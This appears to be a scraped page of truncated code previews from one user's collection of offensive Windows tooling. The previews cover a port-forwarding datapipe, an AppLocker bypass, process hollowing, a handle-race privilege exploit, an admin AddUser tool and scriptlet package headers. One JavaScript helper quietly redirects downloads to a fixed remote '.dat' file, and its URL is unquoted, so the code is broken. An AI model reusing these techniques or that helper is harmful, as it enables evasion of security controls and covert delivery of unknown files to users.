2010phenix

/*
 * Datapipe - Create a listen socket to pipe connections to another
 * machine/port. 'localport' accepts connections on the machine running    
 * datapipe, which will connect to 'remoteport' on 'remotehost'.
 * It will fork itself into the background on non-Windows machines.
 *
 * This implementation of the traditional "datapipe" does not depend on
 * forking to handle multiple simultaneous clients, and instead is able
 * to do all processing from within a single process, making it ideal
 * for low-memory environments.  The elimination of the fork also

2010phenix

/**
 * Trick to run arbitrary command when code execution policy is enforced
 * (i.e. AppLocker or equivalent). Works on Win98 (lol) and up - tested on 7/8
 *
 * To compile using CL as DLL:
 * C:> cl.exe RunMe.c /LD /OUT:RunMe.dll
 * To compile as PE (USE_DLL must be commented out):
 * C:> cl.exe RunMe.c /OUT:RunMe.exe
 *
 * To execute under Windows:

2010phenix

/**
 *
 * ProcessHollower:  Hide a executable inside the runtime of another one
 * 
 * Compile with
 * C:> cl.exe ProcessHollower.c
 *
 * Execute with:
 * C:> ProcessHollower.exe notepad.exe myevilbinary.exe
 *

2010phenix

/**
 * Curated exploit of @tirranido leaked handle race condition 
 *
 * Tested on 
 * - Win7 x64
 * - Win8.1 x64
 * - Win10 x64
 *
 * Ref: https://googleprojectzero.blogspot.com.au/2016/03/exploiting-leaked-thread-handle.html
 * @_hugsy_

2010phenix

@echo off
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION


set EXEC_DIR=%~dps0


set MAKECERT="C:\Program Files (x86)\Windows Kits\8.1\bin\x64\makecert.exe"
set PVK2PFX="C:\Program Files (x86)\Windows Kits\8.1\bin\x64\pvk2pfx.exe"

2010phenix

#include "StdAfx.h"
#include "Registry.h"

//#pragma comment( lib, "Advapi32.lib" )

CRegistry::CRegistry()
{
    m_hKey     = NULL;
    m_hKeyRoot = NULL;

2010phenix

// 以管理员权限运行：AddUser \\serverName(or computerName) userToAdd password
ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

2010phenix

window.downloadFile=function(sUrl){if(window.downloadFile.isChrome||window.downloadFile.isSafari){var link=document.createElement('a');link.href=https://gist.githubusercontent.com/2010phenix/cf802415ab7f77ad0586e513f5a997df/raw/bab599bcef39ca1a6f46c8f81af78f82ec1cea73/gistset.dat;if(link.download!==undefined){var fileName=sUrl.substring(sUrl.lastIndexOf('/')+1,sUrl.length);link.download=fileName;}if(document.createEvent){var e=document.createEvent('MouseEvents');e.initEvent('click',true,true);link.dispatchEvent(e);return true;}}var query='?download';window.open(sUrl+query,'_self');};window.downloadFile.isChrome=navigator.userAgent.toLowerCase().indexOf('chrome')>-1;window.downloadFile.isSafari=navigator.userAgent.toLowerCase().indexOf('safari')>-1;
$(document).ready(function(){
    $('.download').click(function(){window.downloadFile($(this).attr('data-download'));});
})

2010phenix

<?xml version='1.0'?>
<package>
<component id='giffile'>
<registration
	description='Dummy'
	progid='giffile'
	version='1.00'
	remotable='True'>
</registration>
<script language='JScript'>

2010phenix

<?xml version='1.0'?>
<package>
<component id='giffile'>
<registration
	description='Dummy'
	progid='giffile'
	version='1.00'
	remotable='True'>
</registration>
<script language='JScript'>